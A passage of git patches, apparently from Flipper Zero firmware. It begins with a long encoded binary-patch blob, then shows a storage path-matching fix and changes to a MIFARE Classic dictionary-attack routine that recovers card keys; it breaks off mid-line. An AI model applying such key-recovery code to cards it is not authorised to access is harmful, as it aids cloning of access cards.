zMXB{=*CgXH`-j${#YQf9S06rrEJ`>{rxZCSqxSl!eq(Df8D90Fi8HVX{N8BX)fc#> zDmuqELqQ1pbwdGja=8 zw~aEab$CzT1_6?%a%7IuD_3@pgaa-1jH@gp!uO8 zcam0{fH!eh#;GxG)T6;a*aN<#bl_}gbW%tYVWRN)ms^Y8aud1S=?)VNy1W3}^kNKkuv5*#spR5?dq%tqhL&u4!* z%q99kgteCg$<<8TK6p6p>SJG;wau9}nF&}Pejfap*z-d~G7k?CC)3!I$Y9>2!=6jKa5~ z^Y)Bb5b>QTn$@vH3#s*m`)aT%bsPNayk3R-k}z-s(cL=;GCPzliaVy>W38{TxTlCh zhX7CFT2hsToc9&PuxnLUdD7gUk#U_n*Voi3PH%|yH0yS*w~Up$`XUZT<;LuiE35*$ zkz?|_mpTJwT|4tP#4S}mh{*I;clG&n`qWe~)`Pm!I5!$Ts2?Ag!QnKjjKFx--8icp zI|Abp&&^Yje^A}PkDDU_Lz-EdDm#V8lm%v%g)QQxVQbIaHL4B|JhxAQ9CF0?#8LQXoR0o zG3frvyD`KbSeER%byr__dg;6wUslyw8eR~*i1pw{Z}sZe_`GL@&t}!MAdBd%^3Gba zJu@uqq>{ZzicdVlFT?e+GkH}~bPt(S6FA81=o z#;%(+-Q7`kMAZ>V*Ms9Fe{%Gpc4+`zRJ{V8zkA-v9tZ_D~ahhw1v#s4Ij#OrC810HI z?Nl9dW`Zq;{xquI=0}6O6{~E%CaY03;^9ZpB=-5xJMLYj?61)d3iXr_p^~Y=i-=iK zpBgzqcHR<&iJ9OtI3(oYL%@u#AtoNe?(L8ABt^x!!m&EmS+Cgtl=h0x)wfE-m6hQ?;;ugB zM$^iTz=b=oOA&91)kl{Ewn`rX-H!A%D53=u367_FHWa6NO#0rG=$C|VMf-h2p7|-p z;wURySMRaoqUy+*H|#8W=pakw*Rg^qk7-fSN4c#B)+pqP(995sAxU!>SOnsYHQ&~g<3Z8 z*i=x^HZi&E$(IyzK~S~VpC^`=46ilpyZV%&f}@;0qXVmAsi;93W8nMPD?lVKOk7m0 z=z~XqO3(x#a>)lOR(cc=kw|ui_?|j4mL-FzPtJgD^6vWoue?; zStm2j#k%|N>WjM}*})KdT55hy$HlTLcg~zF#Rzv%eY@-?fJFn7UPr$Lp1?j6@2$#F z*$)CcivPz?5>Y^cuvFwOoXKmBs_ZTkmqa~Gyl9J+PYfB^P05)YN$?MOlAmiR=W=!y8@uD%!vc^5ttwrsoH3P3i<4mqRQWCze)a*2+1v4TTqgHI(BWDLZ( zTHixch($y)5OKk>u7fnUth1|`zwH<)smk1GIxHA8jRUPgOx;$3sH;brV{;M9c$)r_^Ofz6%Qg6$a<$UJvy7%}+7VBggTF7~X# zSnKH(12fKhg~^NCSpqUZcPv{MIyi0{KT`b-Alg^HFy?qiL{^ z=o^+3-7{!woHL5HCH|4cC|ZM~gIP5i3tpt$)hF)J8HVrK1GCWW!RMI|BOfwjyfqr1 zYYVpmgCXKl9GPTjRsQs@zR2ZZGJSHYWw?Jwr!~owxT=sgL;sae7Gxy&0B)7!oDn?9 zQfIB%MP<&}b&i%d3O};C%Ki^+W)0R)`dR$E`zrI?sPxcergU}S7OO8JpNBi7PJ#_L z_w0#A#W&iwCNhN`YVPU_-aBJoo){N0RGV9h&P4e0=B_@YTcJ|?Gd`6JIej93jeAf& z>#jcS1BqyZM};FG>uK)l%WCjn+|{QNL+tAEJ$v3Cxgqpy8F%Vxq@Uq;PQ`h5SD*Kz z%(n09i*+&k2IExk>Wd!BkWudH6I+&503(68t1tF>Ht~0h{no;>ah9tvdei{P7rno% z+4-&6KqHBIu`8wQYjIDJE7jSdDV(P6TC(#S-Jg`WW+VC+xl@@QG4`bx8?i1RENyGi zXcHTO^~}t(GCW1)Qy9mL@7dE`eeiyb3~?oUl5%_;6+U&BF^)JXw8#D=a2iO$6?(dA z28B7*-R(TnpSW#FT-#qyI zOvS=pm3{qS)~)Ci$efpvV0Xm0l3j}1Bl{EfJ!TyEVnqmIlzOV1c}hlbLQC4A#c8p4 z4|W1j-vwnJDpsP;r|RRB1ogBL9q=1*uAb}(%mdaWM%xE-CiiOG6-cBF(^RiBdkN?q zA=8l`R=@Oa?A7Rq;W39tWFfvfp14n5%$=ATd@tSx#OrDy@v-b8CnA?UYQ!`hOroFA zc>#}APXN*U>o5D1Tyj1~0+>zW8L@+Bm+usp&y(PN&2#5&FXu2XasEckLFArQf;(I| zYr@Q^`g$b6XhXb}cA1#9$Q?9z;mkS7JZcpSFK)hRQGJ+nDO?1HW-TDQlTt_kTsmGMS4{p=m}uKMeS4eG7LF6NWm8=c_$CEb
e}EPef2b(KGZ9CKXNvCHMT;izY1Y+y?#SfvQ}FUWH;YfpUrQ%?$`N7FvoCC0 zyXV%0<(-k)L&;90XXLp)bBtUJ_ML2sypESUQL#;120kY<5L;~UTGC_13cX-OiB~X{ zwrSpF_FWmSI-Xz)=+eK47u*@W+PbsxLUcWRy>OMgo!os$k6FIRYRQGoq!9DT%t0T# zU_h8Vo}4TeUxY_v)rs8sT8ta&@Mped01v?0ldZAq@JdxPY?HIBm}7cCs8(`{zkA^5 zwj#>7kA%#DeTQ#vfBf;!dj0+HL}2n8BzUdDFUkVhxBB_>-~RUNuRaCbQly9KwBdEF z-EEx4{yS&INA`KH-7oZMcJ)$Mn=p{@rS`v)QBXl0A7?CBHESkZqzWolY=+3lH4usT z&h!lCs#6!yD{KTg=o1)R@s`v~SqQp-w=pvW!UA#b?vj1-chNs|1Aj$F3b>DbJ;>5; zgKftrG7q|)Aa>w^sqqz8+I2@21fPtq(RsyfiSXYuLT|8xSdDB(dt}I*_#5(~aqm$w z&1y~1c}&XUwC-ruS@d@JZ{~hcGD_+-co1cS!K6!+Ms%vP%@s@He12vf6lZ1?gwO3y zpbhF-qa(ll_P4)fSJt#xj84?-oF!}TsdhMe_5S#S)AYd$JQI;3Vm-B2tsrswSG_*R zor%i)ON?X|i4U--#>dWb^K`)~iT4RVDz5nMf#^0VIX81eKJK&DFPeN=RMD5$=s07p zJtpi@lBD52dB)l;4nR4X@f6QapQ1bI&F~TZ;{=;N2GnB$r>cG~Ms`H~of8c*V?1Qx zFcO)=8;d+@m%x$Go%>fahwtjdw2^WuPg{~PFT0TNn^h8c#OsC^V&%x5@pj$j&cxxq zdj;{M;_aFWh_#6rqRv(EU_@5*pkhvS<7>VL%DsY7hmU!}GgF^&L^+TB6rg#}(wRIR zz6qY4F>RTd7OdQ&-IMazZJRes-^*eLp9; zI#bc8T9sDEVsf56adqbwS-9|=tWMvkF^y@JchG2%IYyjM^-5(MRa2JU~5Z-}QP65tEKE_puz{sw7a zLr!X!M=Iy=5Su}n?x6gj7kg842LvM{k{zh7nkPod3o4^@pEY~t*x^I$B2FXC*p3}) z$f7gGelYe1H1`UE+54+*7usi_%z>MUN@s>=Ex2Y08&W?-aJ-r`kP+xZEy?fh6?_Zq zsfw9Sj36pvna%cOCmz{Y|Dowsu zu&}>{b7cjR&4%v;wNXR2w2uB#IhQqJTJj}@r;xY45K}=#!m}2BKlYkd&*&;T%*&i^ z>dBK;K_gVI;4A11!xM!c3iJc={nL8|h2+&G8|PD(d?dUh9y`tw#PXw~(|n;be%N+A z4z|vVukdNkm*AC*E0e85_t{+p*Jk?+Y_D0%dj-i%D$fPRakfXUmggkmg~m* z1<7mUaE0(lpVSvOrTy*Bk?fDo%PzmzuMk}zVDt36^xlx!W2wvD4G;`)-YZD1*vJdd zYeo$wq}rFb5c$h1ou38!1g>6(%PPC4$zp!ES1@)ele=M!Sikj{`if7s7C)m~tME4T z?#s3V7s4p`WPI#D5JQ7NsbFpIa9iw2>GYzTko^F3c5|0BJ{45U-^8DUH8uAN`i^UR z0I;mtnC!(?B`W+0?TN9w`rB02+bk=D&>78n9LF6|`O0A0Q8_A?F0)xKBfsmB5vp5k@4`NaL%A z=v5?&gH!YT*R(kX2y5;9wI7$z1$HYxfK3D=_X-6flTx#6qUO{4GtyGMT4d_Kq?fw?;4WgvFpm!89jYFKf5zXG`&Q41sv7RcQX zR6vMB==65r3Yd{(Rf&<*i+N^{It&KC#rBjJl@Y=e`(DAZ(ybzSLQr{ch4%;%bKkNL zz4TY^%f`u%K?G)Scw%z4nvF(Y%lOo>!!!KFy@JF_vWUn_jR`>iFr^^Rtjd+RD^x_k z8C)5NfGE!M`m{GJ#5fzT50C461xMILrx(nhvu^YVt)}yYT0Q!L{_(WzuH@@S-7Dw_ zmobT+P4t(4LB~k*_p&}Qs+<7lnjy&eUOXg{Jcrij;`3D_ix?s_(XV}tHs?JoW#25? z3<@wKE2pFcdLuHY3IE4N#du|uMeZG*Q# z0_1hS#XYihw_EJPJ>(8DFqL_9-vkJDd93#eN>4)bN@akqUV%{GE2v5uK6G6uRBcj1 znBM>3stwZq_~U!rBXFuLfVvBw1x<#V$0MM{pFa5ne>@(s4ZaUw>l#qjZ{uFUKkS>y zs(SEy(N}~X!xquQ2?j;)&=Xsk?-f)Yyw2I%;2!q? z3VP(cEi|Q_!Ga#WR|$>A>$$hk+2WtwE66HiyX2ijT<7S_9A1QOW~72$Qj3p{d=8{? zdwJ178bA$cF;xZTaK1Tp2KKe)ckqeUI{PTHPfnuy*X|Yc$|i0hE}WEm1;ax{CIv(8 zdj$h$gvY}wc)skgvBx9#B=BlrM>F`yabkaJ9AX*!p%8J*la^4-sM0%Qf*Uv<+0t zZX2|X6~HT@yX605LEv|yfAzm)+V))AK9MgF_s{MX#73!CP!nX|PR(W&r{yg#vVKZ0 z>bpIxuhbXa5lW;={QpgNKEZ-{FO^v#+j$}3jCHG8p(k9 zhK{105tY$@`&)9eJQcJ0M||R);<7VPdq>8_eFHEE{Pl_mt@T(ZJtN_NgfNXiQtN;8 zwA@_4v$WA5Cz~RNyY9P}^T&Gy9n;BN*qLjDfTpG`k~dST0?wEZ-3!JQds zs`)ce^FMO0Ao_}qI76U15Il}+c=gY71 zR^9F%M7Tp@W_qcvTem9n9q5rBUaUo!-_RXNH}Q zlwq9Wi!%<@azvA>9d?|(AR~^RAPP$@7!$EHA^7HGU%^5*7xoq0sxSv;W~AWrbS6M< z!k7T&wTZiK51hjGwXu_un98IPB2i@wFU# zjffxQM{8ZzTKNH=b1SG-y9;z4`LXpCoaoR#9@x|DY4I=G8{~V~R}fhZ2V!4AtSuhw zBw`8r+&><6FFJDVE2u64o50F!eFc+E(W96n2m%GMKB(%|c>mWbR;-({gH!lq?JHP( z*ZcP{XGjjLFV01-Y4jB&`v714wC9mg#2mgr{#4vzh~VL?H^!$=JLt5t56S~nqab}? zk52U!Bm--W`EQv~RT`?NDJMc1hDYt2SOrIY1rrfL+?&=N90i;K=oZcnYxr8>`I1TXuXbSCG{;R69u6|&*ePUlhYPIJ<%&^^}Ci00y z|D?WxN@64^jGo>v?8kw5!ch}**3wEgj|gbwZ`%uA4(^H7_e81}}h&PU1 zi%yUa99BokPB07j9$p5?04jvf*W2|rvGU3(xqS1-{x>+uxwKyZxkWUeETF4`yo8TI zj<45)+=NHO3x$MIt0+a0zJ=(=^&q>EoU-<<3#{c2Mk1Q*dfDhiW5c*-++Za=;_%_D zil`56v+*Ce=ivNcAgn|WqQNm=JBshj*8DQ1~DLY zWrb@;U%_n*BzIxRku~m2khf?g)`Po*f4_0x`O;T#qCPYm2y*llT-Y*3U}ez$jDmgn zB0N7{G&o|dH?D%c!Wj6dU}d(*)!1&ZCXGSWAlRl=X))3H#=UY!9OcWCeFYgK8Dmvl z9R5VT*nI`DF|tFqF^KHg_Z8$0_tl_V3&ECdO(t*Edg6Ly)tCo6u4_knZ`>v5c)hd4 zvB4d(?>hN0ME`Oc4Xy(E$RaX#^L{}N*BB!q9Gy5*~Z6cfpQm$B&!@hz@ zRv4+`A7g7zd1j7pYl>$}wj1?jK*xC2;v*f|ZrxXK&%)~;MT)HX#@K4VB&y`R;&+i{ zjZ0>(+hn`&m)(m;173-FXserR4B|VBUu4?pWjl=Ql64GYK0CVv873o0w8mNDmHA)$ z159#vsR}F-&<_aH!A`YKPP2;bg$9$L@m5=C-&c_Mq=)5M+p{6)aH{rTm9ZN7z^12! zm`dg$`v;fuZBS2D1zmaq$|7RR%Con(#lC`nj<>}zKt^C-{3rTt)ZdLcv7hBMr^jY` z3PFo-JIGSTp!U_SuV6)XuHB13gRlcet$tQrQ@9rA(UAqj9=xqsp?GP_2g(?6fhNjn zdiAxNkNXOeh0^#LHUKmak|3u;^xSs^rf}w`^p$|X$#NOBnKA-%pmz%lui3w_KzE7z zv9Dl!beF4&r0AQN24aspN=(g!Pv?28l7v>}0UEts72NRL;N>H(V{$C)AmZSN=|DfW zHlWIG0*&+F^JwbGo#=tT1ZSe_PxKWmOHB(4-H28T^vk0(Qc3aX6Z#7N&-Lnk09sH- zlQD4IR}d|L-xK)+Qcz~0jYeO=Vr7&R;3i~W;{-UXp^Fj=if^Jnk0p!LnHr!m54_pC z%9?x|#PFhW@*byl*H?v`WK*@EnGF$p)HH`V8~ClF8qr5ngH&I^;7BF+ly;>Zb050W ztBintDf~5PF`4Fchz$SDRU>tk-k@06Z|+0(U|~OP4S1458O0ML9XL_<@58oyv3V?E zNgCa+eFgR1Swpj}3?;+e#3N%F!{)mNWi!?OAPeuDisi%G`Fr(nHA|Xv{Wv`?VL$Qb z{(0Y5FejQl3NM1371I+1L>>YWJI&B=4sKR`d143fW^#`7yb#f2U%}>QvGl92U{07` z;64XLA5^{5D>Kr9mM(=Kf(vbA~H>BRMt1dB6zDpd(HAZnX)LfPDzco)#IKb0(KNx(TEvxRf$No*^GF&d3E|HICOgGN(LuD1Qj zazFif&QSFgOl$>f=t(A?f>DSW;y1K5h!FPq`j#uqIk;XC7Fa{%X0e9sLe2qFl(Q@{ z6hj^K70l=LNFm#>=UBsODYs3iB# zBXW{|{=~k5VIiYUIf-OQDNE3)v#%iNLrDPk)}wXl(&dZ#3aXPU;-&iv8ZXHeXs4kO z(Wy6X+}Td@Sr{5HqSm55I#>$4VfY$gRr(}jVZpm#D<1Y0gb%}C=t-n5Inv~IS&CX{ zYDDBg_Z8eua&gL>1~j79&CBX5NG#yA&Oq?k6vU#>SlQ|tQF`o6c|U*IB16bgOYeh7 zAuOpr$=ET-rS_nDl4XFgW8US_jD}nUa+GgwjR-4^t%pwSI0jB~5K$sEut8cQqS3xh zud-|LifBJ*g)}2v@i%1Jw~sCN4{eUsj4UGp0t-Z@UN86H=|_!D@=xd&&@8<=l{?CP zmDhRLyqkRmi&uwRHE*utiJC8C1n$2%0@@z!yAZGADdY-_4S@+pr@nsu^Dn=Bh`TX< zl-Mt+$msqSC3BKH@_g$n7`#sgBaCQt>gLhGV?pe|#HMOA5%TOSD9Q$#2Hrj~k^z0> zIf6~axB8^wa>b^25l061Qr!k@3ImKz{r~vfTBE&w4YGviM%suigU5nR6P$JF%2F*1 zWXO8s2eNv*I+a{qyDMSqO?1gl0^|Ip`aNkYs1uT888m2Z*32V2O5dN+o$W)Ejk;ET z5~8!qhgiNybQ?CU+R^LrRKJ7sIMG*-bIEM>CwrSsMf|=i24`wXxFq%jJ}2ahnjZPE z%_bJlF^;n#W1dqeCSq;4Q*Yi-sgBwFToF%5^M_ksLG(e(Q+6>{)~$|r8j&CPp!9^Z z`vyA7+EgdMlb&#L47gKcHkBiWWrSqOosthN&dS+<@Q&})!E8oM3$t1J3Jwi1W>fXr z*f(g&It*2Zb7nk@wW;05+VsBhWOna7W+OX=cHu0zHft={={u#q0lA`UiHlKVs&UY{ zYyL%}*S=Hx*>p|ao{je#Q;gZ*bL38~@jje|S(_IejP?^pGYWHZZQOmF@XHlb+3dGx zihVOV=l$An77ou8vk4lG)LL0*XEUt=*5<|Nb?0o>6YkoW!3X0*78(|E_6@tZqT1cX zYGmR$u+p8)JPYC)c5%xIWGI@Ptaq*|qPVOiSjL&VhnX>@AG)1Yt~0(_D&TbNea_bC zvsu;#V;f<@jO5c>j*o4H8o{x?tYH_6)(kF$*lK;~jkMakW$V>!B>Uc56xwx+&hy@!Ljec{)NPba$ z1urKWZXHR^@{jroHa1{R$9)BrtuR;k;9T#D6Al9h2cPKl8fih0@6)XmH zM6glwMlKI;9A|b`iU|jhs{`>^nSa)bLBbL%0JhuZR}?GwOZ62bwhh)0MnE=URP{?= z!L_0&Bf(k(%O|H^hSHd`vV}&T29^?8n>|uTEl+MFa|&939k#C^c>2TWn%I$~eA9@^ z*%%I^^M;qcSe6GBOd5I@|P^={UYuzZ_?a!%-K&?qP2Fn<)> z{xVrRurtQ?GIy_T_7%i>sA>o`5lJ|gM7QM;Kql%Fh@VPKMIiyq?@x#A$k>F#(0{FO9*ZS zv2y;ztq~N1U)mx;b5_)c(*k2w+Q&OR7A*}IKpY7y&F>@D-^c*^3f_-Kd`Lvmrl)0o zx4wdjQv|1l`Ha}zn%N6b=AiLITtd-7-#w)c0e7-z zMx=moq3EGUi5x=0aGhwO*;f!=T-&Z#fOrqO9xK`dj~yt2C`xsm+5`EiHIIZ%kHSP! z52;`Aq3BSwaimbHkHHVaDj+$^Gdq|K>z~NBTi>PS{*}a1!c@9uS&4ifF=ODiX8jor zo+WWwqb`e5md;E2?A(?^L~7L?+9Wo9NoCr|#3|NCnT97rnMMU0&=#I3&b>23(&Ck& z&JR{e*1vq<#KEo{6r<61;&JW)UVZFx>ZvHV$v)>gxiiGnd>0nxtg0Hc_jlh{@GM!w z+zGrqqZ&%)RMK`xNbF`#+VnOVEg`Sdkpf5#s(ZBbo_z(&?kY*-l~OyEU847kD;?v7 ztF-=gIQ-2A=6GvgK`pt+Z&2@r=IbUyKsZW;%KO(WT;4%@yK zB^-9u%UF4j=^h`ATQVs^scj;x2I2+rpKfPAl_})8s;^*KSDdhxztjJ-q3hub1@X5m z5f8-z&Gnl5$WLZxe5mZ(`|2ymu9G3eXV5mp)#^&|+2}RZ<2?=!h+hj%{_NaSYtAtK zsrT=gUH27iiGnS8eXDp48eOxItZChS1@(1tJ~Cb+p^<{bBSf#(Srgr^eFgip-Axv2 z{Az`NcYOsbQj+nk)C_CeaTY`{z_59G#Yv0@ih#M*=CGD0_xMfX->Ci3as}-HL(uUf ztR&HwGGfFV=G2w8#ygA62+t0x%ssC0S{~;FXQ#YQjL+;V$SQM6*mGbTP92X%IWV>O zsbu)ETMK_Bf{R?npDK&k9VpHrm!@Ne=8opf1>Yo7kC7AEUfE_y7_V1P0h&Xv0q7() zbyX&)Iz7Qg;)$WPhxY({H+_kY$MxaA>%M}ur|T3_=>X3wH}N(NA7iB!K=lbv!~6g zH}=}fr8&cev9TfWN}eY=gj0!yqzwVSr>`KM?Mv$2k++Iv^KIF{dtI5@7^(C|B(OdS zPKY`LRB)&2*<7kBwe9V1-$vFVJ_@RsA@$!?<`EJ>TY~fPG91Wu;$i{VSCBo;1Fx%i zh0{TFd`CdEJ;7D7>sGIkwpV;#)mKoDRqk!Z({qDGel^+a_Ye9C!jZ;vRJ)nqxwp=4 z^cBp>XE)31s6p5<#+S&&!N;gU&=#-h^SH4@oQ=s2>Wu(TwMP1K*H=)6pymCupit$X zSdZELR6as1(RJr>dSTNp?khN1kj7`Ay;NkPuVC_kw78oou!;&5tdJ<)*<$*r?i7?s zEC#FtxtLyH<;*mvn3qMgEMNpIdN6;4aI z{n9sY!t~%>IE-Y+(}j*#q zu?mJy4@;DYGtj_;JhaT)zuk-(5-RezX1u!W z;g+35PP5yH+UGtXoxniGsu1yP&K1&)>%`~I?=yA{JqG$F(gh3t*XkAJSln&yD-te> zwop4e4mrn8nL3;9D&pGOZxxF-r5y88%1xeMZxwSvGQsc6%6ek>=+|7!VP8S|q80O; zni~^;Dlun%u@NbrD(r0h-ifU$FHyE_#dN$+l=KhfOOC5MI1pA2{H|V&NIKD1kk|n- z0uL?YSqnldwQX4$OwJM(qbLzcDU16A-mxMq#E5DxGG(Wn#4hHPewA*3YG)AVjg7&? zp8RIS_omid;dOTZhtvfHXFi{O1%oyji;*r>6x}LuiPVhASTa&;vE}!N53qbcj_7Ha zp=o)NrNDk|El&hORx!J^^)eD|?E9=b`jbeE;=cyZx36KMG&3$rO~|e%%2l5YJe7zQ z`RJ}ihhoE)RaZI5U^n(DJC!r=b$0!=6MY4dv(8WLj)rE{@XxYCJKn6%4+zefwY|Tt zaB9vo`uMl<(1Ji1Yu{I}qez(WFDg)-_iN1pJLC1XsvD-L1;6-DqnsZ^SSMelZ3C=qBvO$BvIqWM~QPIe0 z5IAzWc&f@gBxjKCkiP*#QUT5gZlp9;Aa}zn%y&le!q%Q0^c4h={*WE2k7(eGoR7%p zRFNc}9PQhv1@sLgZM03t>o}{~S8(HQI6tGiSlfQ0N331WD4YSvw$R?VLUho`#;CeV z%KAsC=J{1Rv$rG_5!|R4CK%Vw$3Ql7dh|-UMBvDwXio&q1E3(%w>MK~b zotlD(kBXYE`tu;I>2vq|X(!LVf_-A5Db8Q*Djpi+1HO^lMXu||1>N9J$jSQ}KX)Uq zn1#{nAP9W-oEF#I2wafpgQ}H!%gm-|zc1pQq~;a8*u-3VInU1CZA=W(Disbt(pQkG zE4zLVu`iLb^UQ(DIlp8F?E4DRr@b=_4*Ck_r2W0TfZ*}=+Az*PgBgfHL6>m zSR*PYk@t%Z0r_zLl}5(z*jMn`u#M4l$PY9oC{K-|{xvTYOebc)TH_>5A-3bJTa6@Q zrLiNlD6kS+`w~fcH*!c^Shhs;5`Te#K778vcu|6kwKfi221geW?c)Va^fR_(x2sYUqSr-ROA;! za7Ec2->0wO;s-+h(6Q!8cCir+g>>tBzWkKFg6V@U6NSFVDwBg{6y!X$o$0-4UJvhzsvms?^+Xwm`f~IY zG=@Rmb@mm!LUn*4m6>h)M%jH-`fAj{=?rF%b%T_ZIkmkIIlB6iavsk{qzwW>f=QH_Fr z!g{8Q&b%HN4>ek0S-b+V0-rr22HLAvUNZ_BEevQz>&oEIi)ric2OD+F9%CH#6)e^{ z{Q-+RiSG@+W$zQTJz7!L4&LNte4tp6sxekR(XP?kh+=Yp%u9tH1U3o%RN5 zqk_E2i2QMpMujV}1go2ga?vq5t`eUeYdXh>JxO1|)teYhc{kZyU!=E+m9-n0f*68N zvqKswtNVWYZS)naK21}~gOd}tH5hax5wRR#=`yFYktEm_`CQq(@m1G) z5OF!8(O^34DBj#Et4h3gM#0k>3u5ARc(Y`FSF{E5K<}Zm7^8G&`9tv@f%^Xe;u)SJ zwfNUdUqLjmW6)uuEf8~JisMR+ANvZT!$s-$DqH#5Rr(6TugH}d+kzh>cy`1@>e>EK z6|^|7SW85GIuE?1GH#cvuV8GviXO&df)#Xf(I&#H7B2)44gN?2vTdkQG{0zaZu~*{S7|Niw?yhf~p ztHDnm%!u{(-};eXecpGR`nNxQ`ZdOyudKiOEUV08ehZ)Y_`^^7o;mjV+u>{Lc>TV9 zuKzy%IY;SL=+7MgJ>L6~YhAB>j-2a0{^ELOe%JAD>qpjc=kxP3`!86YuO;Ub^ErN- zV_fvx{{8+n-}|`6TmC-v_T^i6dA_@UJN%GW;j{go^=FU4Plr1k;o`s7aSnf9zmebj z^~2}=`;Y$Je|nDA&maFh9P#jO@%r(n_Rk!SanaxVPo4hjqR;aD{u3X2=X`Ddnf`0O z?r;74#Xk=}aq91jKYi+zQzP_q>ybJ2S)b$G>pT0?r+!{MO23ljT~@fpu9uFVKQ;c* zb8Ms@`huVHJJvTGjg%+W*X#GgHytd)N4|TEbu_^E3a*y7)c^IS^}E;g=8a?dx8L>` zy^Z5|jO*C-%lOMNmRJ0hSC4+nGfr&2(r+3+=j-*B?bUvnpMH27$m`pl%`f#5PuK6` ziJHC7Ef-PmTHm&P#y9b2eRBMC=w+bH-t^v^uqFYpyS z##f9VyK%Oc`ONmgIY53J|IHu1(ZA~>+ZB%?e9}+yw*1edzJL79Q~bLAH~!$I8lgVN GKmP&FLFsM) From 9fbf3270286beff340d8cfc67a219606237ad7d6 Mon Sep 17 00:00:00 2001 From: Astra <93453568+Astrrra@users.noreply.github.com> Date: Thu, 16 Mar 2023 10:28:50 +0200 Subject: [PATCH 120/329] [FL-1799] Require the trailing slash for root paths (#2486) * Require the trailing slash * Fix the swapped storages * Fix root paths --- .../services/storage/storage_processing.c | 22 ++++++++++++++----- 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/applications/services/storage/storage_processing.c b/applications/services/storage/storage_processing.c index 2a335e366..59527e769 100644 --- a/applications/services/storage/storage_processing.c +++ b/applications/services/storage/storage_processing.c @@ -33,12 +33,22 @@ static StorageType storage_get_type_by_path(FuriString* path) { StorageType type = ST_ERROR; const char* path_cstr = furi_string_get_cstr(path); - if(memcmp(path_cstr, STORAGE_EXT_PATH_PREFIX, strlen(STORAGE_EXT_PATH_PREFIX)) == 0) { - type = ST_EXT; - } else if(memcmp(path_cstr, STORAGE_INT_PATH_PREFIX, strlen(STORAGE_INT_PATH_PREFIX)) == 0) { - type = ST_INT; - } else if(memcmp(path_cstr, STORAGE_ANY_PATH_PREFIX, strlen(STORAGE_ANY_PATH_PREFIX)) == 0) { - type = ST_ANY; + if(furi_string_size(path) == 4) { + if(memcmp(path_cstr, STORAGE_EXT_PATH_PREFIX, strlen(STORAGE_EXT_PATH_PREFIX)) == 0) { + type = ST_EXT; + } else if(memcmp(path_cstr, STORAGE_INT_PATH_PREFIX, strlen(STORAGE_INT_PATH_PREFIX)) == 0) { + type = ST_INT; + } else if(memcmp(path_cstr, STORAGE_ANY_PATH_PREFIX, strlen(STORAGE_ANY_PATH_PREFIX)) == 0) { + type = ST_ANY; + } + } else if(furi_string_size(path) > 4) { + if(memcmp(path_cstr, EXT_PATH(""), strlen(EXT_PATH(""))) == 0) { + type = ST_EXT; + } else if(memcmp(path_cstr, INT_PATH(""), strlen(INT_PATH(""))) == 0) { + type = ST_INT; + } else if(memcmp(path_cstr, ANY_PATH(""), strlen(ANY_PATH(""))) == 0) { + type = ST_ANY; + } } return type; From e90042368f941f2c167563444fdb5cf22a5da9ad Mon Sep 17 00:00:00 2001 From: Astra <93453568+Astrrra@users.noreply.github.com> Date: Thu, 16 Mar 2023 10:58:07 +0200 Subject: [PATCH 121/329] [FL-3156] Mark keys as not found when they couldn't auth successfully (#2476) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Mark keys as not found when they couldn't auth successfully * Improve logging and fix the reading bug Co-authored-by: あく --- lib/nfc/nfc_worker.c | 13 +++++++++++-- lib/nfc/protocols/mifare_classic.c | 26 ++++++++++++++++++++++---- 2 files changed, 33 insertions(+), 6 deletions(-) diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index 062a39534..4561ff2af 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -739,7 +739,7 @@ void nfc_worker_mf_classic_dict_attack(NfcWorker* nfc_worker) { if(mf_classic_authenticate_skip_activate( &tx_rx, block_num, key, MfClassicKeyA, !deactivated, cuid)) { mf_classic_set_key_found(data, i, MfClassicKeyA, key); - FURI_LOG_D(TAG, "Key found"); + FURI_LOG_D(TAG, "Key A found"); nfc_worker->callback(NfcWorkerEventFoundKeyA, nfc_worker->context); uint64_t found_key; @@ -753,22 +753,31 @@ void nfc_worker_mf_classic_dict_attack(NfcWorker* nfc_worker) { } nfc_worker_mf_classic_key_attack(nfc_worker, found_key, &tx_rx, i + 1); + break; } nfc_worker_mf_classic_key_attack(nfc_worker, key, &tx_rx, i + 1); } furi_hal_nfc_sleep(); deactivated = true; + } else { + mf_classic_set_key_not_found(data, i, MfClassicKeyA); + is_key_a_found = false; + FURI_LOG_D(TAG, "Key %dA not found in attack", i); } if(!is_key_b_found) { is_key_b_found = mf_classic_is_key_found(data, i, MfClassicKeyB); if(mf_classic_authenticate_skip_activate( &tx_rx, block_num, key, MfClassicKeyB, !deactivated, cuid)) { - FURI_LOG_D(TAG, "Key found"); + FURI_LOG_D(TAG, "Key B found"); mf_classic_set_key_found(data, i, MfClassicKeyB, key); nfc_worker->callback(NfcWorkerEventFoundKeyB, nfc_worker->context); nfc_worker_mf_classic_key_attack(nfc_worker, key, &tx_rx, i + 1); } deactivated = true; + } else { + mf_classic_set_key_not_found(data, i, MfClassicKeyB); + is_key_b_found = false; + FURI_LOG_D(TAG, "Key %dB not found in attack", i); } if(is_key_a_found && is_key_b_found) break; if(nfc_worker->state != NfcWorkerStateMfClassicDictAttack) break; diff --git a/lib/nfc/protocols/mifare_classic.c b/lib/nfc/protocols/mifare_classic.c index 712428717..d2d7467dc 100644 --- a/lib/nfc/protocols/mifare_classic.c +++ b/lib/nfc/protocols/mifare_classic.c @@ -651,7 +651,12 @@ void mf_classic_read_sector(FuriHalNfcTxRxContext* tx_rx, MfClassicData* data, u if(!key_a_found) break; FURI_LOG_D(TAG, "Try to read blocks with key A"); key = nfc_util_bytes2num(sec_tr->key_a, sizeof(sec_tr->key_a)); - if(!mf_classic_auth(tx_rx, start_block, key, MfClassicKeyA, &crypto, false, 0)) break; + if(!mf_classic_auth(tx_rx, start_block, key, MfClassicKeyA, &crypto, false, 0)) { + mf_classic_set_key_not_found(data, sec_num, MfClassicKeyA); + FURI_LOG_D(TAG, "Key %dA not found in read", sec_num); + break; + } + for(size_t i = start_block; i < start_block + total_blocks; i++) { if(!mf_classic_is_block_read(data, i)) { if(mf_classic_read_block(tx_rx, &crypto, i, &block_tmp)) { @@ -660,7 +665,11 @@ void mf_classic_read_sector(FuriHalNfcTxRxContext* tx_rx, MfClassicData* data, u } else if(i > start_block) { // Try to re-auth to read block in case prevous block was protected from read furi_hal_nfc_sleep(); - if(!mf_classic_auth(tx_rx, i, key, MfClassicKeyA, &crypto, false, 0)) break; + if(!mf_classic_auth(tx_rx, i, key, MfClassicKeyA, &crypto, false, 0)) { + mf_classic_set_key_not_found(data, 